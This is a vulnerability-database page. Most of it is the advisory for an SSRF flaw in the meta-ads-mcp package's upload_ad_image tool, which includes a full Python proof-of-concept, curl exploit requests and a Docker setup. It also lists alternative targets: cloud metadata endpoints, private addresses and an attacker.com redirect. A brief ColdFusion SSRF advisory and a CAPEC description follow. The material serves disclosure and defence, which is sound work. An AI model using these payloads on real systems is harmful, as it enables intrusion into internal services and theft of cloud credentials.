        text=True,
        env=env,
        cwd="/app",
    )
    print(f"[*] Waiting for MCP server to bind on 127.0.0.1:{MCP_PORT} ...", flush=True)

    # ── Step 3: Wait for server readiness ─────────────────────────────────
    if not wait_for_port("127.0.0.1", MCP_PORT, timeout=30):
        try:
            out, _ = proc.communicate(timeout=5)
        except subprocess.TimeoutExpired:
            out = ""
        print(f"[FAIL] MCP server did not start within 30 s.\nServer output:\n{out}", flush=True)
        return 2
    print(f"[+] MCP server is up on 127.0.0.1:{MCP_PORT}", flush=True)
    time.sleep(0.5)

    # ── Step 4: MCP protocol initialization ───────────────────────────────
    # The streamable-HTTP transport requires a brief initialize / initialized
    # handshake before accepting tool calls.
    session_id = None
    try:
        resp = mcp_post(
            "initialize",
            {
                "protocolVersion": "2024-11-05",
                "capabilities": {},
                "clientInfo": {"name": "ssrf-poc", "version": "1.0"},
            },
            req_id=0,
        )
        print(f"[*] initialize -> HTTP {resp.status_code}", flush=True)
        session_id = resp.headers.get("Mcp-Session-Id")
        if session_id:
            print(f"[*] Session ID: {session_id}", flush=True)
            notif_headers = {
                "Content-Type": "application/json",
                "Authorization": "Bearer dummy-ssrf-poc-token",
                "Mcp-Session-Id": session_id,
            }
            notif_payload = {
                "jsonrpc": "2.0",
                "method": "notifications/initialized",
                "params": {},
            }
            with httpx.Client(timeout=10.0) as client:
                nr = client.post(
                    f"http://127.0.0.1:{MCP_PORT}/mcp",  # no trailing slash
                    json=notif_payload,
                    headers=notif_headers,
                )
            print(f"[*] notifications/initialized -> HTTP {nr.status_code}", flush=True)
    except Exception as exc:
        print(f"[*] Initialization step error (non-fatal): {exc}", flush=True)

    # ── Step 5: Send the SSRF exploit payload ─────────────────────────────
    ssrf_url = f"http://127.0.0.1:{SSRF_PORT}{SSRF_PATH}"
    print(f"\n[*] Sending exploit request ...", flush=True)
    print(f"    method        : tools/call", flush=True)
    print(f"    tool          : upload_ad_image", flush=True)
    print(f"    image_url     : {ssrf_url}  <-- SSRF payload", flush=True)
    print(f"    Authorization : Bearer dummy-ssrf-poc-token  (not validated before fetch)", flush=True)

    try:
        resp = mcp_post(
            "tools/call",
            {
                "name": "upload_ad_image",
                "arguments": {
                    "account_id": "act_123456789",
                    "image_url": ssrf_url,
                },
            },
            req_id=1,
            session_id=session_id,
        )
        print(f"\n[*] tools/call -> HTTP {resp.status_code}", flush=True)
        print(f"[*] Response preview (first 400 chars):\n{resp.text[:400]}", flush=True)
    except Exception as exc:
        print(f"[*] tools/call exception: {exc}", flush=True)

    # ── Step 6: Allow time for async fetch to complete ────────────────────
    time.sleep(4)
    proc.terminate()

    # ── Step 7: Evaluate and report ───────────────────────────────────────
    print("\n" + "=" * 65, flush=True)
    with ssrf_lock:
        hits = list(ssrf_hits)

    if hits:
        print(
            f"[PASS] SSRF CONFIRMED — MCP server issued {len(hits)} request(s) to"
            f" 127.0.0.1:{SSRF_PORT}",
            flush=True,
        )
        for h in hits:
            print(
                f"  -> {h['method']} {h['path']}"
                f"  |  User-Agent: {h['user_agent']!r}",
                flush=True,
            )
        print(
            "\nConclusion: upload_ad_image passes attacker-controlled image_url to"
            " httpx.AsyncClient(follow_redirects=True).get(url) without any scheme,"
            " host, or IP validation. Internal services are reachable via SSRF.",
            flush=True,
        )
        print("=" * 65, flush=True)
        return 0
    else:
        print(
            f"[FAIL] No requests received on SSRF listener at 127.0.0.1:{SSRF_PORT}.",
            flush=True,
        )
        print("=" * 65, flush=True)
        return 1


if __name__ == "__main__":
    sys.exit(main())
Severity
8.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "meta-ads-mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.115"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54549"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-17T18:47:31Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Server-Side Request Forgery (SSRF) in `upload_ad_image` via Unrestricted `image_url` Fetch\n\n### Summary\n\nThe `upload_ad_image` MCP tool in `meta-ads-mcp` v1.0.113 passes an attacker-controlled `image_url` parameter directly to an HTTP fetch helper (`httpx.AsyncClient(follow_redirects=True).get(url)`) without any scheme, host, or IP address validation. When the server is deployed with the `streamable-http` transport (a documented, officially supported mode), an unauthenticated remote attacker can supply an arbitrary URL\u2014including `http://127.0.0.1/`, RFC 1918 addresses, or cloud metadata endpoints such as `http://169.254.169.254/`\u2014and cause the server to issue an outbound HTTP request to that target. The `Authorization` middleware only verifies that a non-empty Bearer token is present; actual Meta API credential validation occurs *after* the image download, so any dummy Bearer token bypasses the pre-fetch check. This constitutes a full, unauthenticated Server-Side Request Forgery with a confirmed CVSS 3.1 Base Score of 8.3 (High).\n\n### Details\n\n**Source**\n\n`meta_ads_mcp/core/ads.py`, line 1316\u20131322: The MCP tool `upload_ad_image` is registered with `@mcp_server.tool()` and exposes `image_url: Optional[str]` as a direct tool argument that is fully attacker-controlled over the network.\n\n```python\n# meta_ads_mcp/core/ads.py\n1316: @mcp_server.tool()\n1318: async def upload_ad_image(\n1322:     image_url: Optional[str] = None,\n```\n\n**Propagation**\n\n`meta_ads_mcp/core/ads.py`, line 1389: The value is forwarded to `try_multiple_download_methods(image_url)` without any sanitization or validation.\n\n```python\n# meta_ads_mcp/core/ads.py\n1389:     image_bytes = await try_multiple_download_methods(image_url)\n```\n\n**Sinks**\n\n`meta_ads_mcp/core/utils.py` contains three independent HTTP fetch paths, all using `httpx.AsyncClient` with `follow_redirects=True` and no URL, host, or IP validation:\n\n```python\n# meta_ads_mcp/core/utils.py\n166:     async with httpx.AsyncClient(follow_redirects=True, timeout=30.0) as client:\n168:         response = await client.get(url, headers=headers)\n\n214:     async with httpx.AsyncClient(follow_redirects=True) as client:\n215:         response = await client.get(url, headers=headers, timeout=30.0)\n\n224:     async with httpx.AsyncClient(follow_redirects=True) as client:\n228:         response = await client.get(url, timeout=30.0)\n```\n\n**Authorization bypass**\n\n`meta_ads_mcp/core/http_auth_integration.py`, lines 78\u201382: The middleware extracts any non-empty Bearer token value and places it into request context without validating it against Meta\u0027s API. The actual Meta OAuth token check (in `meta_ads_mcp/core/api.py:415`) occurs only after the image download completes, meaning the SSRF sink fires before any meaningful credential verification.\n\n**Absence of sanitization**\n\nA search for `urlparse`, `urlsplit`, `ipaddress`, `localhost`, `127.0.0.1`, `169.254`, `private`, `allowlist`, `blocklist`, or `is_global` in `meta_ads_mcp/core/ads.py` and `meta_ads_mcp/core/utils.py` returns no matches. No URL, scheme, hostname, or IP validation is present anywhere in the fetch path.\n\n**Transport exposure**\n\n`meta_ads_mcp/core/server.py`, line 219: The `--transport streamable-http` mode is a documented, officially supported deployment option (not a development-only stub), meaning the attack surface is reachable over the network in production deployments.\n\n### PoC\n\n**Environment setup**\n\n```bash\n# Build and run the Docker image (includes vulnerable meta-ads-mcp v1.0.113 and poc.py)\ndocker build -f vuln-001/Dockerfile \\\n  -t meta-ads-ssrf-poc \\\n  reports/pypiAi_615_pipeboard-co__meta-ads-mcp/\n\ndocker run --rm meta-ads-ssrf-poc\n# Exit code 0 = SSRF confirmed\n```\n\n**Manual reproduction (two terminals)**\n\n```bash\n# Terminal 1 \u2014 SSRF capture listener on port 9009\npython3 - \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        print(\"SSRF GET\", self.path, flush=True)\n        body = b\"\\xff\\xd8\\xff\\xe0\\x00\\x10JFIF\\x00\\x01\\x01\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\xff\\xd9\"\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"image/jpeg\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\nHTTPServer((\"127.0.0.1\", 9009), H).serve_forever()\nPY\n\n# Terminal 2 \u2014 start the vulnerable MCP server\nMETA_APP_ID=dummy META_APP_SECRET=dummy \\\n  python3 -m meta_ads_mcp --transport streamable-http --host 0.0.0.0 --port 8080\n```\n\n**Exploit request**\n\n```bash\n# 1. Initialize MCP session\ncurl -sS -X POST http://127.0.0.1:8080/mcp \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Accept: application/json, text/event-stream\" \\\n  -H \"Authorization: Bearer dummy-token\" \\\n  -d \u0027{\"jsonrpc\":\"2.0\",\"method\":\"initialize\",\"id\":0,\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"1.0\"}}}\u0027\n\n# 2. Send SSRF payload \u2014 image_url points to internal listener\ncurl -sS -X POST http://127.0.0.1:8080/mcp \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Accept: application/json, text/event-stream\" \\\n  -H \"Authorization: Bearer dummy-token\" \\\n  -d \u0027{\n    \"jsonrpc\": \"2.0\",\n    \"method\": \"tools/call\",\n    \"id\": 1,\n    \"params\": {\n      \"name\": \"upload_ad_image\",\n      \"arguments\": {\n        \"account_id\": \"act_123456789\",\n        \"image_url\": \"http://127.0.0.1:9009/poc.jpg\"\n      }\n    }\n  }\u0027\n```\n\n**Expected result**\n\nTerminal 1 prints:\n```\nSSRF GET /poc.jpg\n```\n\nThe `curl` response returns an OAuth error from Meta (because the dummy token is invalid), but the inbound `GET /poc.jpg` request to the internal listener has already been received, confirming that the server-side fetch executes before any credential validation.\n\n**Confirmed runtime evidence (from Docker run)**\n\n```\n[SSRF LISTENER] Received GET \u0027/poc.jpg\u0027 from 127.0.0.1 | User-Agent: \u0027curl/8.4.0\u0027\n[PASS] SSRF CONFIRMED \u2014 MCP server issued 1 request(s) to 127.0.0.1:9009\n  -\u003e GET /poc.jpg  |  User-Agent: \u0027curl/8.4.0\u0027\n```\n\n**Alternative targets**\n\nReplace `http://127.0.0.1:9009/poc.jpg` with:\n- `http://169.254.169.254/latest/meta-data/` \u2014 cloud instance metadata (AWS/GCP/Azure)\n- `http://10.0.0.1/` \u2014 RFC 1918 internal network services\n- `http://attacker.com/redirect` \u2014 a public URL that redirects to an internal target (exploitable via `follow_redirects=True`)\n\n### Impact\n\nThis is a Server-Side Request Forgery (SSRF) vulnerability. Any party capable of sending a JSON-RPC `tools/call` request to the MCP HTTP endpoint\u2014using any non-empty Bearer token string\u2014can instruct the server to make arbitrary outbound HTTP GET requests, including to:\n\n- **Localhost services**: databases, admin panels, internal APIs, and other processes bound to `127.0.0.1` on the host\n- **RFC 1918 / private network addresses**: internal microservices, Kubernetes control planes, cloud-internal load balancers\n- **Cloud instance metadata endpoints**: `http://169.254.169.254/` (AWS IMDSv1, GCP, Azure), potentially exposing IAM credentials, instance identity documents, and bootstrap secrets\n- **Redirect-chained internal targets**: any internal host reachable via a public-to-private redirect, because `follow_redirects=True` is set on all three fetch paths without re-validation at each hop\n\nThe SSRF fires *before* Meta API credential validation, so no valid Meta OAuth token is required. The impact spans confidentiality (internal data exfiltration), integrity (requests that trigger state-changing actions on internal services), and limited availability (internal service disruption).\n\nOperators deploying `meta-ads-mcp` with `--transport streamable-http` in environments co-located with sensitive internal services or cloud metadata services are directly at risk.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\n# Install system build dependencies\nRUN apt-get update \u0026\u0026 \\\n    apt-get install -y --no-install-recommends gcc \u0026\u0026 \\\n    rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Install pip and uv for fast dependency installation\nRUN pip install --upgrade pip \u0026\u0026 pip install uv\n\n# Install Python dependencies from the cloned repo\nCOPY repo/requirements.txt .\nRUN uv pip install --system -r requirements.txt\n\n# Copy the full application source (cloned repo)\nCOPY repo/ .\n\n# Install the package in editable mode (no extra deps, already installed above)\nRUN pip install --no-deps -e .\n\n# Copy the PoC exploit script into the image\nCOPY vuln-001/poc.py /poc.py\n\n# Run the PoC by default; exit code 0 = SSRF confirmed, 1 = not reproduced, 2 = setup error\nCMD [\"python3\", \"/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof-of-Concept: SSRF via upload_ad_image image_url in meta-ads-mcp v1.0.113\nCWE-918 - Server-Side Request Forgery (unrestricted server-side HTTP fetch)\n\nAttack flow:\n  1. Attacker sends tools/call for upload_ad_image with image_url=\"http://127.0.0.1:9009/poc.jpg\"\n  2. MCP server calls try_multiple_download_methods(image_url) with no URL validation\n  3. httpx.AsyncClient(follow_redirects=True).get(\"http://127.0.0.1:9009/poc.jpg\") fires\n  4. SSRF listener records the inbound GET, proving the server issued the request\n\nAuthorization bypass: only a non-empty Bearer token string is required before the fetch;\nthe actual Meta API credential check happens after the image download.\n\"\"\"\n\nimport threading\nimport subprocess\nimport time\nimport json\nimport sys\nimport socket\nimport os\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nimport httpx\n\n# \u2500\u2500 Configuration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nSSRF_PORT = 9009       # Port for the SSRF capture listener\nMCP_PORT  = 8080       # Port for the vulnerable MCP server\nSSRF_PATH = \"/poc.jpg\" # Path that the MCP server will request (SSRF indicator)\n\n# \u2500\u2500 Shared state \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nssrf_hits: list = []\nssrf_lock = threading.Lock()\n\n\n# \u2500\u2500 SSRF capture listener \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nclass SSRFCaptureHandler(BaseHTTPRequestHandler):\n    \"\"\"Records every inbound GET request made by the vulnerable MCP server.\"\"\"\n\n    def do_GET(self):\n        hit = {\n            \"method\": \"GET\",\n            \"path\": self.path,\n            \"host\": self.client_address[0],\n            \"user_agent\": self.headers.get(\"User-Agent\", \"\"),\n        }\n        with ssrf_lock:\n            ssrf_hits.append(hit)\n        print(\n            f\"[SSRF LISTENER] Received GET {self.path!r}\"\n            f\" from {self.client_address[0]}\"\n            f\" | User-Agent: {hit[\u0027user_agent\u0027]!r}\",\n            flush=True,\n        )\n        # Return a minimal valid JPEG so the server processes the response\n        body = (\n            b\"\\xff\\xd8\\xff\\xe0\\x00\\x10JFIF\\x00\\x01\\x01\\x00\\x00\\x01\\x00\\x01\\x00\\x00\"\n            b\"\\xff\\xd9\"\n        )\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"image/jpeg\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\n    def log_message(self, fmt, *args):\n        pass  # Suppress default access log to keep output clean\n\n\ndef start_ssrf_listener() -\u003e None:\n    server = HTTPServer((\"127.0.0.1\", SSRF_PORT), SSRFCaptureHandler)\n    server.serve_forever()\n\n\n# \u2500\u2500 Helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef wait_for_port(host: str, port: int, timeout: float = 30.0) -\u003e bool:\n    \"\"\"Poll until the TCP port is accepting connections or timeout expires.\"\"\"\n    deadline = time.time() + timeout\n    while time.time() \u003c deadline:\n        try:\n            with socket.create_connection((host, port), timeout=1.0):\n                return True\n        except (ConnectionRefusedError, OSError):\n            time.sleep(0.5)\n    return False\n\n\ndef mcp_post(\n    method: str,\n    params: dict,\n    req_id: int,\n    session_id: str | None = None,\n) -\u003e httpx.Response:\n    \"\"\"Send a single JSON-RPC 2.0 request to the MCP streamable-HTTP endpoint.\n\n    Path is /mcp (no trailing slash) \u2014 FastMCP 1.23.0 redirects /mcp/ \u2192 /mcp\n    with HTTP 307, so we skip the redirect by targeting the canonical path directly.\n    Accept header must include text/event-stream; without it the server returns 406.\n    \"\"\"\n    headers = {\n        \"Content-Type\": \"application/json\",\n        # MCP streamable-HTTP requires both JSON and SSE in Accept; omitting\n        # text/event-stream causes HTTP 406 from the FastMCP uvicorn handler.\n        \"Accept\": \"application/json, text/event-stream\",\n        # Dummy Bearer token \u2014 the middleware only checks that it is non-empty;\n        # Meta API credential validation happens AFTER the image download (SSRF sink).\n        \"Authorization\": \"Bearer dummy-ssrf-poc-token\",\n    }\n    if session_id:\n        headers[\"Mcp-Session-Id\"] = session_id\n\n    payload = {\"jsonrpc\": \"2.0\", \"method\": method, \"id\": req_id, \"params\": params}\n    with httpx.Client(timeout=30.0) as client:\n        return client.post(\n            f\"http://127.0.0.1:{MCP_PORT}/mcp\",  # no trailing slash\n            json=payload,\n            headers=headers,\n        )\n\n\n# \u2500\u2500 Main PoC \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef main() -\u003e int:\n    print(\"=\" * 65, flush=True)\n    print(\"VULN-001 PoC  \u2014  SSRF in meta-ads-mcp upload_ad_image (v1.0.113)\", flush=True)\n    print(\"CWE-918 | CVSS 8.3 | image_url fetch has zero URL validation\", flush=True)\n    print(\"=\" * 65, flush=True)\n\n    # \u2500\u2500 Step 1: Start the SSRF capture listener \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    t = threading.Thread(target=start_ssrf_listener, daemon=True)\n    t.start()\n    time.sleep(0.3)\n    print(f\"[+] SSRF capture listener running on 127.0.0.1:{SSRF_PORT}\", flush=True)\n\n    # \u2500\u2500 Step 2: Start the vulnerable MCP server \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    env = os.environ.copy()\n    # Dummy credentials so the server starts; the Meta API is only called after\n    # the image has already been fetched (i.e., after the SSRF fires).\n    env.setdefault(\"META_APP_ID\", \"poc-dummy-app-id\")\n    env.setdefault(\"META_APP_SECRET\", \"poc-dummy-secret\")\n    env.setdefault(\"PIPEBOARD_API_TOKEN\", \"\")\n\n    proc = subprocess.Popen(\n        [\n            sys.executable, \"-m\", \"meta_ads_mcp\",\n            \"--transport\", \"streamable-http\",\n            \"--host\", \"127.0.0.1\",\n            \"--port\", str(MCP_PORT),\n        ],\n        stdout=subprocess.PIPE,\n        stderr=subprocess.STDOUT,\n        text=True,\n        env=env,\n        cwd=\"/app\",\n    )\n    print(f\"[*] Waiting for MCP server to bind on 127.0.0.1:{MCP_PORT} ...\", flush=True)\n\n    # \u2500\u2500 Step 3: Wait for server readiness \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    if not wait_for_port(\"127.0.0.1\", MCP_PORT, timeout=30):\n        try:\n            out, _ = proc.communicate(timeout=5)\n        except subprocess.TimeoutExpired:\n            out = \"\"\n        print(f\"[FAIL] MCP server did not start within 30 s.\\nServer output:\\n{out}\", flush=True)\n        return 2\n    print(f\"[+] MCP server is up on 127.0.0.1:{MCP_PORT}\", flush=True)\n    time.sleep(0.5)\n\n    # \u2500\u2500 Step 4: MCP protocol initialization \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    # The streamable-HTTP transport requires a brief initialize / initialized\n    # handshake before accepting tool calls.\n    session_id = None\n    try:\n        resp = mcp_post(\n            \"initialize\",\n            {\n                \"protocolVersion\": \"2024-11-05\",\n                \"capabilities\": {},\n                \"clientInfo\": {\"name\": \"ssrf-poc\", \"version\": \"1.0\"},\n            },\n            req_id=0,\n        )\n        print(f\"[*] initialize -\u003e HTTP {resp.status_code}\", flush=True)\n        session_id = resp.headers.get(\"Mcp-Session-Id\")\n        if session_id:\n            print(f\"[*] Session ID: {session_id}\", flush=True)\n            notif_headers = {\n                \"Content-Type\": \"application/json\",\n                \"Authorization\": \"Bearer dummy-ssrf-poc-token\",\n                \"Mcp-Session-Id\": session_id,\n            }\n            notif_payload = {\n                \"jsonrpc\": \"2.0\",\n                \"method\": \"notifications/initialized\",\n                \"params\": {},\n            }\n            with httpx.Client(timeout=10.0) as client:\n                nr = client.post(\n                    f\"http://127.0.0.1:{MCP_PORT}/mcp\",  # no trailing slash\n                    json=notif_payload,\n                    headers=notif_headers,\n                )\n            print(f\"[*] notifications/initialized -\u003e HTTP {nr.status_code}\", flush=True)\n    except Exception as exc:\n        print(f\"[*] Initialization step error (non-fatal): {exc}\", flush=True)\n\n    # \u2500\u2500 Step 5: Send the SSRF exploit payload \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    ssrf_url = f\"http://127.0.0.1:{SSRF_PORT}{SSRF_PATH}\"\n    print(f\"\\n[*] Sending exploit request ...\", flush=True)\n    print(f\"    method        : tools/call\", flush=True)\n    print(f\"    tool          : upload_ad_image\", flush=True)\n    print(f\"    image_url     : {ssrf_url}  \u003c-- SSRF payload\", flush=True)\n    print(f\"    Authorization : Bearer dummy-ssrf-poc-token  (not validated before fetch)\", flush=True)\n\n    try:\n        resp = mcp_post(\n            \"tools/call\",\n            {\n                \"name\": \"upload_ad_image\",\n                \"arguments\": {\n                    \"account_id\": \"act_123456789\",\n                    \"image_url\": ssrf_url,\n                },\n            },\n            req_id=1,\n            session_id=session_id,\n        )\n        print(f\"\\n[*] tools/call -\u003e HTTP {resp.status_code}\", flush=True)\n        print(f\"[*] Response preview (first 400 chars):\\n{resp.text[:400]}\", flush=True)\n    except Exception as exc:\n        print(f\"[*] tools/call exception: {exc}\", flush=True)\n\n    # \u2500\u2500 Step 6: Allow time for async fetch to complete \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    time.sleep(4)\n    proc.terminate()\n\n    # \u2500\u2500 Step 7: Evaluate and report \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    print(\"\\n\" + \"=\" * 65, flush=True)\n    with ssrf_lock:\n        hits = list(ssrf_hits)\n\n    if hits:\n        print(\n            f\"[PASS] SSRF CONFIRMED \u2014 MCP server issued {len(hits)} request(s) to\"\n            f\" 127.0.0.1:{SSRF_PORT}\",\n            flush=True,\n        )\n        for h in hits:\n            print(\n                f\"  -\u003e {h[\u0027method\u0027]} {h[\u0027path\u0027]}\"\n                f\"  |  User-Agent: {h[\u0027user_agent\u0027]!r}\",\n                flush=True,\n            )\n        print(\n            \"\\nConclusion: upload_ad_image passes attacker-controlled image_url to\"\n            \" httpx.AsyncClient(follow_redirects=True).get(url) without any scheme,\"\n            \" host, or IP validation. Internal services are reachable via SSRF.\",\n            flush=True,\n        )\n        print(\"=\" * 65, flush=True)\n        return 0\n    else:\n        print(\n            f\"[FAIL] No requests received on SSRF listener at 127.0.0.1:{SSRF_PORT}.\",\n            flush=True,\n        )\n        print(\"=\" * 65, flush=True)\n        return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```",
  "id": "GHSA-45gf-fjxp-cjpq",
  "modified": "2026-07-17T18:47:31Z",
  "published": "2026-07-17T18:47:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pipeboard-co/meta-ads-mcp/security/advisories/GHSA-45gf-fjxp-cjpq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pipeboard-co/meta-ads-mcp/commit/7d9926336bbdac6285a988d043c4ccfe126c94c5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pipeboard-co/meta-ads-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pipeboard-co/meta-ads-mcp/releases/tag/1.0.115"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "meta-ads-mcp: Server-Side Request Forgery (SSRF) in `upload_ad_image` via Unrestricted `image_url` Fetch"
}

GHSA-45MC-X72W-R769

Vulnerability from github – Published: 2026-06-30 18:31 – Updated: 2026-06-30 18:31
VLAI
Details

ColdFusion versions 2025.9, 2023.20 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploitation of this issue does not require user interaction. Scope is changed.

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-48285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-30T16:16:54Z",
    "severity": "HIGH"
  },
  "details": "ColdFusion versions 2025.9, 2023.20 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploitation of this issue does not require user interaction. Scope is changed.",
  "id": "GHSA-45mc-x72w-r769",
  "modified": "2026-06-30T18:31:37Z",
  "published": "2026-06-30T18:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48285"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/coldfusion/apsb26-68.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list